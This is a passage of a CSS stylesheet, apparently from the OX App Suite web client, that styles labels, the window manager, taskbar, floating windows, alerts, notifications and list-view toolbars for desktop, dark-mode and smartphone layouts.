  background-color:var(--yellow-20)
}
.label-subtle.subtle-red {
  color:var(--red-600);
  background-color:var(--red-20)
}
.label-subtle.subtle-blue {
  color:var(--indigo-600);
  background-color:var(--indigo-20)
}
.label-subtle.subtle-accent {
  color:var(--accent-700);
  background-color:var(--accent-20)
}
.dark .label-subtle {
  color:var(--text);
  background-color:var(--background-200)
}
.dark .label-subtle.subtle-green {
  color:var(--green-100);
  background-color:var(--green-700)
}
.dark .label-subtle.subtle-yellow {
  color:#333;
  background-color:var(--yellow-500)
}
.dark .label-subtle.subtle-red {
  color:var(--red-100);
  background-color:var(--red-600)
}
.dark .label-subtle.subtle-accent {
  color:var(--accent-100);
  background-color:var(--accent-600)
}
.label-accent {
  color:#fff;
  background-color:var(--accent-600)
}
.localized-quote:before {
  content:"“"
}
.localized-quote:after {
  content:"”"
}
[lang=de] .localized-quote:before {
  content:"„"
}
[lang=de] .localized-quote:after {
  content:"”"
}
[lang=fr] .localized-quote:before {
  content:"« "
}
[lang=fr] .localized-quote:after {
  content:" »"
}
[lang=es] .localized-quote:before {
  content:"«"
}
[lang=es] .localized-quote:after {
  content:"»"
}
#io-ox-desktop {
  top:32px;
  z-index:1;
  overflow:hidden
}
#io-ox-screens {
  position:relative;
  overflow:hidden;
  z-index:10
}
#io-ox-windowmanager {
  overflow:hidden;
  display:flex
}
#io-ox-windowmanager-pane {
  flex:1;
  position:relative
}
.io-ox-windowmanager-sticky-panel {
  flex:0 0 auto;
  position:relative;
  z-index:1
}
.has-sticky-window #io-ox-windowmanager-pane {
  border-radius:0 var(--default-radius) 0 0;
  overflow-x:auto
}
.has-sticky-window .io-ox-windowmanager-sticky-panel {
  border-radius:var(--default-radius) 0 0 0;
  border-left:8px solid transparent
}
#io-ox-taskbar-container {
  border-top:1px solid var(--border);
  background-color:var(--background-50);
  top:auto;
  height:40px;
  padding:.1875rem 0 2px;
  margin:0;
  display:none
}
html.taskbar-visible #io-ox-taskbar-container {
  display:block
}
#io-ox-taskbar-container #io-ox-taskbar {
  padding:0 8px;
  list-style-type:none;
  overflow:hidden;
  margin:0;
  width:100%;
  display:flex
}
#io-ox-taskbar-container #io-ox-taskbar li {
  width:240px;
  margin-left:8px;
  overflow:hidden;
  display:flex;
  height:2rem;
  line-height:26px
}
#io-ox-taskbar-container #io-ox-taskbar li .taskbar-button {
  height:32px;
  border:3px solid var(--btn-primary-background);
  padding:0 4px 0 13px;
  border-radius:4px;
  color:var(--btn-primary);
  text-align:left;
  width:100%;
  overflow:hidden;
  background-color:var(--btn-primary-background);
  display:flex;
  align-items:center
}
#io-ox-taskbar-container #io-ox-taskbar li .taskbar-button:focus {
  border-color:var(--background-50);
  outline:2px solid var(--outline);
  outline-offset:-2px
}
#io-ox-taskbar-container #io-ox-taskbar li .taskbar-button.io-ox-busy:before {
  color:#fff;
  margin-top:-15px
}
#io-ox-taskbar-container #io-ox-taskbar li .taskbar-button .title {
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap;
  margin-right:8px;
  min-width:26px;
  height:100%;
  display:inline-flex;
  align-items:center
}
#io-ox-taskbar-container #io-ox-taskbar li .taskbar-button .count {
  padding:4px 5px;
  margin-right:8px
}
#io-ox-taskbar-container #io-ox-taskbar li .taskbar-button .spacing {
  flex-grow:1
}
#io-ox-taskbar-container #io-ox-taskbar li .taskbar-button svg.bi:first-child {
  width:1.25rem;
  height:1.25rem;
  margin-right:8px
}
.touch #io-ox-windowmanager .window-container-center .window-body,
.touch .window-container .window-container-center .window-body {
  width:100%!important
}
.smartphone .window-container.header-top {
  border-radius:20px 20px 0 0;
  background:var(--background);
  z-index:10;
  transition:top .2s ease-out
}
.smartphone .window-container.header-top .title {
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap;
  font-size:1.4rem
}
.smartphone .window-container.header-top .window-header {
  background-color:unset;
  border:unset;
  box-shadow:unset;
  height:auto
}
.smartphone .window-container.header-top .window-header .header.container {
  display:grid;
  grid-template-columns:repeat(3,1fr);
  padding:0 12px
}
.smartphone .window-container.header-top .window-header .header.container button:nth-child(1) {
  grid-column:1;
  justify-self:flex-start
}
.smartphone .window-container.header-top .window-header .header.container button:nth-child(2) {
  grid-column:2;
  justify-self:center
}
.smartphone .window-container.header-top .window-header .header.container button:nth-child(3) {
  grid-column:3;
  justify-self:flex-end
}
.smartphone .window-container.header-top .window-header .header.container .btn-default,
.smartphone .window-container.header-top .window-header .header.container .btn-primary {
  background:unset;
  border:unset;
  color:var(--link);
  height:40px;
  margin:0;
  min-width:unset
}
.smartphone .window-container.header-top .window-header .header.container .collapse {
  display:flex;
  justify-content:center;
  align-items:center;
  width:40px;
  color:var(--text-gray)
}
.smartphone .window-container.header-top .window-header .header.container .collapse>div {
  display:flex;
  align-items:center
}
.smartphone .window-container.header-top:not(.io-ox-mail-compose-window) .window-container-center {
  height:calc(100% - 48px)
}
@media (max-width: 20em) {
  .smartphone .window-container.header-top .window-header {
    height:40px
  }
  .smartphone .window-container.header-top .window-header .header.container {
    padding:0
  }
  .smartphone .window-container.header-top .window-header .header.container .btn-primary,
  .smartphone .window-container.header-top .window-header .header.container .btn-default {
    height:32px
  }
}
@media (max-width: 15em) {
  .smartphone .window-container.header-top .window-header .header.container {
    height:32px
  }
  .smartphone .window-container.header-top .window-header .header.container .btn-default,
  .smartphone .window-container.header-top .window-header .header.container .btn-primary {
    height:24px;
    padding:6px
  }
}
.window-container-center {
  position:relative;
  flex:1;
  display:flex;
  flex-direction:row;
  height:100%
}
.window-container {
  display:flex;
  flex-direction:column
}
.window-container .window-header {
  height:48px;
  border-bottom:1px solid transparent;
  padding:8px 0
}
.window-container .window-footer {
  height:72px;
  border-top:1px solid transparent;
  padding:16px 0
}
.window-container .window-footer .container {
  display:flex
}
.window-container .window-header,
.window-container .window-footer {
  position:relative;
  background-color:var(--background-5);
  border-color:var(--border);
  z-index:2;
  box-shadow:0 1px 5px #0000001a
}
.window-container .window-header h1.title,
.window-container .window-footer h1.title {
  margin:.2em 0;
  font-size:20px;
  float:left
}
.window-container .window-header .btn,
.window-container .window-footer .btn {
  min-width:80px;
  margin-right:8px;
  height:38px
}
.window-container.classic {
  color:#fff
}
.window-container.classic .window-head {
  width:auto;
  right:0;
  height:30px;
  color:#fff;
  border-top:1px solid #000;
  padding:7px 0 11px;
  text-align:center
}
.window-container.classic .window-head .toolbar-button {
  display:none
}
.window-container.classic .window-body {
  top:50px;
  left:0
}
.window-container.simple-window {
  position:relative;
  z-index:11
}
#io-ox-windowmanager.fullscreen .window-container-center {
  width:100%!important
}
.window-blocker {
  background-color:var(--background-a80);
  z-index:30
}
.window-blocker.io-ox-busy {
  position:absolute
}
.window-blocker .progress {
  position:absolute;
  top:50%;
  left:50%;
  width:400px;
  height:8px;
  margin-left:-200px
}
@media (max-width: 540px),(max-device-width: 540px) {
  .window-blocker .progress {
    width:150px;
    margin-left:-75px
  }
}
.window-blocker .header {
  top:auto;
  bottom:50%;
  margin-bottom:30px;
  text-align:center
}
.window-blocker .footer {
  top:50%;
  bottom:auto;
  margin-top:8px;
  text-align:center
}
.floating-window .window-blocker .footer {
  top:calc(50% - 40px)
}
.window-blocker .footer .block-message {
  margin:0 32px 16px
}
.window-blocker .footer .block-message .message {
  margin-bottom:32px
}
.window-blocker .footer .block-message .actions .btn+.btn {
  margin-left:8px
}
.window-blocker .first {
  margin-top:-20px
}
.window-blocker .second {
  margin-top:-5px;
  height:4px
}
.window-blocker .second .progress-bar {
  background-color:#555
}
.window-blocker .progress .progress-bar {
  border-radius:2px
}
.window-sidebar {
  position:relative;
  width:72px;
  min-width:72px;
  height:100%;
  z-index:2;
  border-radius:0 var(--gap-radius) 0 0;
  margin-inline-end:var(--gap);
  padding:16px 16px 8px;
  display:flex;
  flex-direction:column
}
.smartphone .window-sidebar {
  display:none!important
}
.window-sidebar .btn {
  width:100%;
  height:40px;
  padding:0
}
.window-sidebar .btn.current {
  color:var(--text-accent);
  background-color:var(--btn-current)
}
.window-sidebar .bi {
  font-size:18px
}
.margin-top-auto {
  margin-top:auto
}
.margin-left-auto {
  margin-inline-start:auto
}
.window-sidepanel {
  position:relative;
  height:100%;
  z-index:2;
  overflow:hidden;
  display:flex;
  flex-direction:column;
  margin-inline-end:var(--gap);
  overflow:visible;
  width:250px;
  background:var(--sidepanel-background)
}
.window-sidepanel .rocket-box {
  background-color:var(--accent-20);
  border-radius:var(--default-radius);
  box-shadow:inset 0 0 4px var(--accent-100);
  padding:16px;
  margin:8px 16px
}
.window-sidepanel .folder-tree {
  position:static;
  flex:1
}
.window-sidepanel .generic-toolbar {
  flex:0 0 auto;
  position:static
}
.window-sidepanel .generic-toolbar.bottom {
  padding:0 var(--inner-gap);
  margin-bottom:8px
}
.window-sidepanel .generic-toolbar.premium-toolbar {
  width:auto;
  height:auto;
  line-height:16px;
  background-color:var(--accent-700);
  padding:0;
  margin:0 16px 16px;
  border-radius:var(--default-radius);
  flex-direction:column
}
.window-sidepanel .generic-toolbar.premium-toolbar .header {
  margin:0 0 8px;
  padding:0 16px;
  background-color:var(--shade-a20);
  color:#fff;
  line-height:40px;
  border-radius:var(--default-radius) var(--default-radius) 0 0
}
.window-sidepanel .generic-toolbar.premium-toolbar p {
  line-height:24px;
  padding:0 16px;
  margin:0 0 8px
}
.window-sidepanel .generic-toolbar.premium-toolbar a:not(.btn-default) {
  color:#fff
}
.window-sidepanel .generic-toolbar.premium-toolbar .io-ox-upsell-link {
  display:block;
  padding:4px 16px 0
}
.resizebar {
  position:absolute;
  height:100%;
  width:clamp(4px,var(--gap),8px);
  background:transparent;
  z-index:10000;
  cursor:e-resize;
  cursor:ew-resize;
  cursor:col-resize;
  right:calc(0px - min(4px,var(--gap)))
}
.leftside .resizebar {
  width:clamp(4px,var(--main-gap),8px);
  right:calc(0px - min(8px,var(--main-gap)))
}
.window-panel {
  position:absolute;
  inset:0;
  z-index:1
}
.window-body {
  position:relative;
  height:100%;
  flex:1;
  display:flex;
  flex-direction:column;
  white-space:normal;
  z-index:1;
  user-select:text;
  -webkit-user-select:text
}
.window-content {
  position:relative;
  flex:1;
  overflow:hidden;
  outline:0;
  display:flex;
  align-items:stretch;
  flex-direction:row
}
.window-content textarea {
  user-select:text;
  -webkit-user-select:text;
  resize:none
}
.leftside {
  position:relative;
  width:320px;
  margin-inline-end:var(--main-gap);
  display:flex;
  flex-direction:column
}
.rightside {
  position:relative;
  outline:0;
  flex:1
}
.floating-window>.io-ox-busy {
  border-radius:var(--double-radius)
}
.smartphone .floating-window>.io-ox-busy {
  border-radius:0
}
.floating-window {
  position:fixed;
  z-index:12;
  background:transparent;
  outline:0;
  border-radius:var(--double-radius);
  width:920px;
  height:750px;
  max-height:calc(100vh - 40px);
  top:calc(50% - 375px);
  right:auto;
  bottom:auto
}
.floating-window .floating-window-content {
  border-radius:var(--double-radius)
}
.floating-window .window-container-center {
  flex:1;
  overflow:auto
}
.floating-window .container {
  padding-left:24px;
  padding-right:24px
}
.floating-window .window-footer:empty {
  display:none
}
.floating-window .floating-window-content {
  box-shadow:0 10px 20px 5px #0003
}
.floating-window.active {
  z-index:14
}
.floating-window.active .floating-window-content {
  box-shadow:0 15px 70px 10px #00000080
}
.floating-window.active .floating-header {
  background-image:linear-gradient(to bottom,var(--background),var(--background-5))
}
.floating-window.active .floating-header h1 {
  color:var(--text)
}
.floating-window.active .floating-header .controls button {
  color:var(--text-gray)
}
.floating-window .window-body,
.floating-window .container {
  width:100%
}
.floating-window.height-xs {
  height:650px
}
.floating-window.height-lg {
  height:900px
}
.floating-window.width-xs {
  width:40rem;
  left:calc(50% - 320px)
}
.floating-window.width-xs:not(.maximized) {
  max-width:780px
}
.floating-window.width-sm {
  width:45rem;
  left:calc(50% - 360px)
}
.floating-window.width-sm:not(.maximized) {
  max-width:900px
}
.floating-window.width-md {
  width:50rem;
  left:calc(50% - 400px)
}
.floating-window.width-md:not(.maximized) {
  max-width:1020px
}
.floating-window.width-lg {
  width:57.5rem;
  left:calc(50% - 460px)
}
.floating-window.width-lg:not(.maximized) {
  max-width:1140px
}
@media (min-width: 1280px) {
  .floating-window.width-lg {
    width:1040px;
    left:calc(50% - 520px)
  }
}
.floating-window .floating-header .controls button[data-action=normal] {
  display:none
}
.floating-window .container {
  width:100%!important;
  position:relative;
  min-width:auto
}
.floating-window.width-xs:not(.maximized) [data-hidden=width-xs] {
  display:none
}
.floating-window.maximized {
  width:1060px;
  height:calc(100% - 72px);
  max-width:100%;
  max-height:1200px;
  top:0;
  left:calc(50% - 530px)
}
@media (max-height: 750px) {
  .floating-window.maximized {
    height:100%;
    top:0!important
  }
}
.floating-window.maximized .floating-header .controls button[data-action=maximized] {
  display:none
}
.floating-window.dragging iframe {
  pointer-events:none
}
.ios .floating-window.header-top .window-header {
  position:relative
}
.floating-window .floating-header {
  height:40px;
  bottom:auto;
  background:var(--background-5);
  padding:0 12px 0 24px;
  display:flex;
  border-radius:var(--double-radius) var(--double-radius) 0 0;
  border:1px solid rgba(0,0,0,.15);
  border-width:0 1px 1px 1px;
  cursor:move
}
.floating-window .floating-header h1 {
  display:inline-flex;
  align-items:center;
  margin:0;
  padding:0;
  font-size:13px;
  font-weight:700;
  color:#636363;
  text-overflow:ellipsis;
  overflow:hidden;
  white-space:nowrap
}
.floating-window .floating-header .count {
  padding:3px 7px;
  position:relative;
  top:-1px;
  margin-left:8px
}
.floating-window .floating-header .controls {
  display:flex;
  margin-left:auto;
  flex-shrink:0
}
.floating-window .floating-header .controls button {
  color:#707070;
  line-height:39.875px;
  padding:0 8px;
  margin-top:-1px;
  display:inline-block
}
.floating-window .floating-header .controls button svg {
  vertical-align:middle
}
.floating-window .floating-header .controls button[data-action=close] {
  padding:0 6px
}
.floating-window .floating-header .controls button[data-action=close] svg {
  width:14px
}
.floating-window .floating-header .controls button[data-action=maximize] {
  padding:0 7px
}
.floating-window .floating-header .controls button:focus {
  box-shadow:none;
  outline:2px solid #A0A0A0;
  outline-offset:-4px
}
.floating-window .floating-body {
  top:40px;
  background-color:var(--background);
  border:1px solid rgba(0,0,0,.15);
  border-width:0 1px 1px 1px;
  border-radius:0 0 var(--double-radius) var(--double-radius);
  display:flex;
  flex-direction:column
}
.floating-window .floating-body .window-footer {
  border-radius:0 0 var(--double-radius) var(--double-radius)
}
.window-container.gray-background {
  --window-gray-background: var(--background-5)
}
.window-container.gray-background .floating-header {
  background:var(--window-gray-background);
  border-color:transparent
}
.window-container.gray-background .floating-body {
  border:0
}
.window-container.gray-background .window-body {
  background:var(--window-gray-background)
}
.window-container.gray-background .window-footer {
  border-color:transparent;
  box-shadow:none;
  border-bottom-left-radius:var(--double-radius);
  border-bottom-right-radius:var(--double-radius)
}
.window-container.gray-background legend,
.window-container.gray-background label {
  color:var(--text);
  border:0
}
.window-container.gray-background label {
  margin-bottom:0
}
.window-container.gray-background .row label.p-0 {
  padding:0
}
.window-container.gray-background .btn-link {
  color:var(--accent)
}
#floating-window-backdrop {
  z-index:13;
  height:100%;
  width:100%;
  top:0;
  background-color:#ffffff03;
  position:absolute
}
.rightside-navbar {
  display:none
}
@media (max-width: 900px) {
  .leftside {
    width:250px
  }
  #io-ox-taskbar-container #io-ox-taskbar {
    padding:0 4px
  }
  #io-ox-taskbar-container #io-ox-taskbar li {
    margin-left:4px
  }
}
@media (min-width: 1300px) {
  .leftside {
    width:400px
  }
}
@media (min-width: 1500px) {
  .leftside {
    width:450px
  }
}
@media (min-width: 1700px) {
  .leftside {
    width:500px
  }
}
@media (max-width: 540px) {
  .window-body {
    bottom:40px;
    left:0
  }
  .chromeless-window .window-body {
    bottom:0
  }
  .vsplit {
    left:0;
    width:200%;
    right:auto;
    animation-timing-function:ease-out;
    animation-duration:.35s
  }
  .vsplit-slide {
    transform:translate(-50%);
    animation-name:slideright
  }
  .vsplit-reverse {
    transform:translate(0);
    animation-name:slideleft
  }
  .touch .vsplit {
    backface-visibility:hidden
  }
  .vsplit .leftside {
    width:50%;
    right:auto;
    z-index:1
  }
  .vsplit .rightside {
    left:50%;
    width:50%;
    top:41px;
    right:auto;
    z-index:2
  }
  .vsplit .rightside-navbar {
    position:absolute;
    top:0;
    left:50%;
    width:50%;
    height:41px;
    border-bottom:1px solid #ccc;
    padding:5px 13px;
    z-index:2;
    line-height:2em;
    display:block
  }
  .vsplit-reverse .rightside-navbar,
  .vsplit-reverse .rightside {
    display:none
  }
}
@media (max-width: 540px) and (orientation: portrait),(max-height: 540px) and (orientation: landscape) {
  .window-sidepanel {
    backface-visibility:hidden
  }
}
body,
.classic-toolbar,
.list-view {
  user-select:none;
  -webkit-user-select:none
}
.window-body,
.detail-view-header {
  user-select:text;
  -webkit-user-select:text
}
.breadcrumb-view {
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap;
  user-select:text;
  -webkit-user-select:text
}
.toolbar .breadcrumb-view {
  margin:0
}
.generic-toolbar .breadcrumb-view.toolbar-item {
  margin:0 16px;
  padding:0
}
.breadcrumb-label,
.breadcrumb-item,
.breadcrumb-ellipsis,
.breadcrumb-divider,
.breadcrumb-tail {
  color:var(--text-gray)
}
.breadcrumb-ellipsis,
.breadcrumb-label {
  margin-right:8px
}
.breadcrumb-tail {
  color:var(--text);
  font-weight:700
}
.breadcrumb-divider {
  margin:0 8px;
  width:8px;
  text-align:center
}
.breadcrumb-divider.bi {
  width:13px;
  height:14px;
  min-width:13px
}
.breadcrumb-link,
.breadcrumb-divider {
  display:inline-block
}
.io-ox-alert {
  position:fixed;
  top:calc(16px + var(--safe-area-inset-top));
  left:50%;
  max-width:100%;
  margin-left:-14.375rem;
  width:28.75rem;
  background-color:var(--background);
  z-index:65500;
  box-shadow:0 24px 40px -1px #0006;
  outline:0;
  opacity:0;
  border-radius:var(--default-radius);
  transition:opacity .2s ease-out
}
@media (prefers-reduced-motion: reduce) {
  .io-ox-alert {
    transition:none
  }
}
.io-ox-alert.appear {
  opacity:1
}
.io-ox-alert .headline {
  margin:0 0 7px;
  font-size:14px;
  line-height:20px
}
.io-ox-alert .message {
  padding:24px 60px 24px 56px;
  min-height:64px
}
.io-ox-alert .message>div {
  max-height:18.75rem;
  overflow:auto
}
.io-ox-alert .message>div+div {
  margin-top:7px
}
.io-ox-alert .message>div a {
  cursor:pointer
}
.io-ox-alert .message>div svg.bi+span {
  margin-left:15px
}
.io-ox-alert .icon {
  position:absolute;
  top:20px;
  left:8px;
  font-size:20px;
  color:#aaa;
  width:40px;
  text-align:center
}
.io-ox-alert [data-action=close] {
  position:absolute;
  top:16px;
  right:8px;
  width:36px;
  text-align:center;
  display:inline-block;
  outline:0;
  color:var(--text-gray)
}
.io-ox-alert [data-action=close]:hover,
.io-ox-alert [data-action=close]:focus  {
  background-color:#0000001a
}
.io-ox-alert.io-ox-alert-info .icon {
  color:#08c
}
.io-ox-alert.io-ox-alert-error .icon {
  color:#a00
}
.io-ox-alert.io-ox-alert-warning .icon {
  color:#fc0
}
.io-ox-alert.io-ox-alert-success .icon {
  color:#92d050
}
.io-ox-alert.io-ox-alert-busy .icon {
  color:#555
}
.io-ox-alert.io-ox-alert-success {
  cursor:pointer
}
@media (max-width: 540px),(max-device-width: 540px) {
  .io-ox-alert {
    left:10px;
    right:10px;
    width:auto;
    margin-left:0;
    cursor:pointer
  }
  .io-ox-alert .icon {
    font-size:20px;
    width:30px
  }
  .io-ox-alert .message {
    padding:20px 20px 20px 50px
  }
  .io-ox-alert [data-action=close] {
    display:none
  }
}
.ellipsis-2-lines {
  -webkit-line-clamp:2;
  -webkit-box-orient:vertical;
  display:-webkit-box;
  word-break:break-word;
  overflow:hidden
}
.notification-backdrop {
  z-index:13;
  height:100%;
  width:100%;
  position:absolute;
  display:none
}
.notification-backdrop.visible {
  display:block
}
.smartphone .notification-backdrop {
  height:calc(100% - env(safe-area-inset-top))
}
.io-ox-notifications {
  height:calc(100% - (72px + var(--offset-top) + var(--offset-bottom)));
  top:calc(72px + var(--offset-top));
  position:fixed;
  overflow:hidden;
  padding:16px 0;
  z-index:14;
  box-shadow:0 8px 16px #0000001a;
  color:var(--text);
  background-color:var(--background-5);
  transition:width .2s ease-in-out;
  width:0;
  right:var(--offset-right)
}
.io-ox-notifications .notification-content-container {
  transition:padding .2s ease-in-out;
  overflow-y:auto;
  height:100%;
  width:350px
}
@media (min-width: 1600px) {
  .io-ox-notifications .notification-content-container {
    width:450px
  }
}
@media (prefers-reduced-motion: reduce) {
  .io-ox-notifications {
    width:350px;
    opacity:0;
    transition:opacity .2s ease-in-out
  }
}
@media (prefers-reduced-motion: reduce) and (min-width: 1600px) {
  .io-ox-notifications {
    width:450px
  }
}
@media (max-width: 540px) {
  .io-ox-notifications {
    height:calc(100% - (64px + var(--offset-top)));
    width:100%;
    top:calc(64px + var(--offset-top));
    right:0;
    display:none;
    transition:none
  }
  .io-ox-notifications.visible {
    display:block
  }
}
.io-ox-notifications.visible {
  width:350px
}
.io-ox-notifications.visible .notification-content-container {
  padding:0 16px
}
@media (min-width: 1600px) {
  .io-ox-notifications.visible {
    width:450px
  }
}
@media (prefers-reduced-motion: reduce) {
  .io-ox-notifications.visible {
    opacity:1
  }
}
#io-ox-core.category-browser-visible .io-ox-notifications {
  right:calc(var(--offset-right) + var(--category-browser-width))
}
.io-ox-notifications .icon-wrap {
  width:24px;
  height:24px;
  margin-inline-end:6px;
  position:relative;
  flex-shrink:0
}
.io-ox-notifications .icon-wrap .icon-background {
  position:absolute;
  width:100%;
  height:100%;
  opacity:.1;
  border-radius:var(--default-radius);
  background:#495057
}
.io-ox-notifications .icon-wrap svg {
  width:16px;
  height:auto;
  max-height:24px;
  overflow:visible
}
.io-ox-notifications .empty-message {
  display:none;
  height:100%;
  color:var(--text-gray)
}
.io-ox-notifications.empty .empty-message {
  display:flex
}
.io-ox-notifications .category .btn-category {
  width:100%;
  height:2rem;
  border-radius:var(--default-radius);
  border-width:0;
  outline-style:none;
  border-color:transparent;
  background:transparent
}
.io-ox-notifications .category .btn-category:hover {
  background-color:var(--selected-background-hover)
}
.io-ox-notifications .category .btn-category:focus {
  background-color:var(--selected-background-focus)
}
.io-ox-notifications .category .btn-category:focus * {
  color:var(--selected-focus)
}
.io-ox-notifications .category .btn-category h1 {
  justify-content:left
}
.io-ox-notifications .category .btn-category h1 .icon-wrap {
  margin-left:2px
}
.io-ox-notifications .category .btn-category h1 .category-label {
  cursor:pointer;
  margin-bottom:0
}
.io-ox-notifications .category .btn-category h1 .counter {
  height:auto;
  border-radius:var(--default-radius);
  margin-left:16px;
  background-color:#e9ecef;
  color:#495057
}
.io-ox-notifications .category .items,
.io-ox-notifications .category .icon-expanded {
  display:none
}
.io-ox-notifications .category.expanded .items {
  display:block
}
.io-ox-notifications .category.expanded .icon-expanded {
  display:initial
}
.io-ox-notifications .category.expanded .icon-collapsed {
  display:none
}
.io-ox-notifications .item-container .item {
  cursor:pointer;
  margin:10px 0;
  padding:8px 0;
  background-color:#fff;
  background-color:var(--background);
  border-radius:10px
}
.io-ox-notifications .item-container .item:focus-within {
  outline:2px solid var(--focus-500)
}
.io-ox-notifications .item-container .item:hover .item-row .btn.action,
.io-ox-notifications .item-container .item:hover .item-row .btn.close,
.io-ox-notifications .item-container .item:focus-within .item-row .btn.action,
.io-ox-notifications .item-container .item:focus-within .item-row .btn.close,
.smartphone .io-ox-notifications .item-container .item .item-row .btn.action,
.smartphone .io-ox-notifications .item-container .item .item-row .btn.close {
  opacity:1
}
.io-ox-notifications .item-container .item .item-row {
  display:flex;
  align-items:baseline;
  padding:2px 8px;
  min-height:32px
}
.io-ox-notifications .item-container .item .item-row .icon-wrap {
  top:3px
}
.io-ox-notifications .item-container .item .item-row .title {
  line-height:inherit;
  font-size:16px;
  margin:0
}
.io-ox-notifications .item-container .item .item-row .date-time .time .label {
  margin-left:8px
}
.io-ox-notifications .item-container .item .item-row .label-default {
  margin-left:7px;
  position:relative;
  top:-1px;
  font-weight:500;
  color:var(--text-gray-on-gray);
  background-color:var(--background-50)
}
.io-ox-notifications .item-container .item .item-row a.date:hover {
  cursor:pointer;
  color:var(--text)
}
.io-ox-notifications .item-container .item .item-row a.date {
  color:var(--text)
}
.io-ox-notifications .item-container .item .item-row .date-label {
  font-weight:700;
  margin-right:16px
}
.io-ox-notifications .item-container .item .item-row .relative-time,
.io-ox-notifications .item-container .item .item-row .recurrence {
  color:var(--text-gray)
}
.io-ox-notifications .item-container .item .item-row .status {
  border-radius:4px;
  padding:6px 10px
}
.io-ox-notifications .item-container .item .item-row .dropdown {
  align-self:flex-start
}
.io-ox-notifications .item-container .item .item-row.actions-container {
  margin-top:6px;
  margin-bottom:4px;
  height:32px
}
.io-ox-notifications .item-container .item .item-row .actions {
  overflow:hidden
}
.io-ox-notifications .item-container .item .item-row .actions .btn-group {
  display:flex;
  min-width:0
}
.io-ox-notifications .item-container .item .item-row .actions .btn-group .btn-default {
  flex:1;
  overflow:hidden;
  padding:6px
}
.io-ox-notifications .item-container .item .item-row .actions .btn-group .btn-default.icon {
  padding:6px 13px;
  min-width:42px;
  flex:0
}
.io-ox-notifications .item-container .item .item-row .btn.action,
.io-ox-notifications .item-container .item .item-row .btn.close {
  opacity:0;
  width:24px;
  height:24px;
  padding:0;
  top:3px;
  position:relative;
  align-self:flex-start
}
.io-ox-notifications .item-container .item .item-row .btn.action svg,
.io-ox-notifications .item-container .item .item-row .btn.close svg {
  width:18px;
  height:18px
}
.io-ox-notifications .item-container .item .item-row .close svg {
  margin:0
}
.io-ox-notifications .item-container .item .organizer,
.io-ox-notifications .item-container .item .title,
.io-ox-notifications .item-container .item .location {
  flex:1;
  min-width:0;
  padding-right:18px
}
.io-ox-notifications .item-container .item .organizer>*,
.io-ox-notifications .item-container .item .title>*,
.io-ox-notifications .item-container .item .location>* {
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap;
  min-width:0;
  display:block;
  word-break:keep-all
}
.io-ox-notifications .item-container .item .row-icon {
  color:var(--text-gray)
}
.io-ox-notifications .item-container .item[data-type$=":reminder"] .icon-background {
  background:#495057
}
.io-ox-notifications .item-container .item[data-type$=":reminder"] .title-icon {
  color:var(--topbar-icon)
}
.io-ox-notifications .item-container .item .title-icon,
.io-ox-notifications .item-container .item .row-icon {
  color:var(--text-gray)
}
.io-ox-notifications .item-container .item[data-type^="task:invitation"] .icon-background {
  background:var(--app-color-tasks)
}
.io-ox-notifications .item-container .item[data-type^="task:invitation"] .title-icon {
  color:var(--app-color-tasks)
}
.io-ox-notifications .item-container .item[data-type^="appointment:invitation"] .icon-background,
.io-ox-notifications .item-container .item[data-type^="resource:invitation"] .icon-background {
  background:var(--app-color-calendar)
}
.io-ox-notifications .item-container .item[data-type^="appointment:invitation"] .title-icon,
.io-ox-notifications .item-container .item[data-type^="resource:invitation"] .title-icon {
  color:var(--app-color-calendar)
}
.io-ox-notifications .item-container .item[data-type^="contacts:"] {
  display:flex;
  justify-content:space-between;
  align-items:center;
  overflow:hidden
}
.io-ox-notifications .item-container .item[data-type^="contacts:"] .icon-background {
  background:var(--app-color-contacts)
}
.io-ox-notifications .item-container .item[data-type^="contacts:"] .title-icon {
  color:var(--app-color-contacts)
}
.io-ox-notifications .item-container .item[data-type^="contacts:"] .row-container {
  overflow:hidden
}
.io-ox-notifications .item-container .item[data-type^="contacts:"] .contact-photo {
  color:var(--gray-600);
  flex-shrink:0;
  margin-right:8px
}
#io-ox-appcontrol>div>ul>#io-ox-notifications-toggle,
.smartphone #io-ox-notifications-toggle {
  display:inline-flex
}
#io-ox-appcontrol>div>ul>#io-ox-notifications-toggle .indicator,
.smartphone #io-ox-notifications-toggle .indicator {
  display:none
}
#io-ox-appcontrol>div>ul>#io-ox-notifications-toggle.show-indicator .indicator,
.smartphone #io-ox-notifications-toggle.show-indicator .indicator {
  display:flex
}
.list-view-control {
  flex:1;
  display:flex;
  flex-direction:column;
  height:100%
}
.list-view-control .toolbar {
  user-select:none;
  -webkit-user-select:none
}
.list-view-control .toolbar.top {
  display:none
}
.list-view-control .toolbar.bottom {
  min-height:48px;
  display:none
}
.list-view-control .toolbar.bottom .dropdown-menu {
  inset:auto 0 100% auto
}
.list-view-control .toolbar .grid-options {
  padding:0
}
.list-view-control .toolbar .grid-options>a {
  color:var(--text-gray);
  display:block;
  padding-left:8px;
  padding-right:8px
}
@media (max-width: 900px) {
  .list-view-control .toolbar .grid-options>a {
    padding-left:0;
    padding-right:8px
  }
}
.list-view-control .toolbar a:not(.breadcrumb-link):focus,
.list-view-control .toolbar a:not(.breadcrumb-link):focus i {
  color:var(--selected-focus);
  background-color:var(--selected-background-focus);
  border-radius:var(--default-radius);
  outline:0
}
.list-view-control .toolbar .select-all {
  color:#767676;
  cursor:pointer;
  white-space:nowrap;
  padding:4px 14px
}
.list-view-control .toolbar .select-all i {
  color:#767676;
  margin-right:1rem;
  width:16px;
  font-size:18px;
  position:relative;
  top:2px
}
.list-view-control .toolbar .dropdown-menu {
  font-size:14px
}
.list-view-control.upside-down .toolbar.top {
  top:auto;
  border-bottom:0;
  display:none
}
.list-view-control.upside-down .toolbar.top .dropdown-menu {
  inset:auto 0 100% auto
}
.list-view-control.upside-down .toolbar.bottom {
  display:none;
  bottom:auto;
  border-top:0
}
.list-view-control.upside-down .toolbar.bottom .dropdown-menu {
  top:90%;
  bottom:auto
}
.list-view-control .status-bar {
  flex:1!important;
  text-align:center;
  font-size:13px
}
.list-view-control.toolbar-top-visible .toolbar.top,
.list-view-control.toolbar-bottom-visible .toolbar.bottom {
  display:flex
}
.list-view-control .list-view {
  flex:1 0 0;
  z-index:1;
  padding:0 var(--inner-gap)
}
.list-view-control .resizebar.vertical {
  display:none
}
.ios .list-view.scrollpane {
  overflow-x:hidden
}
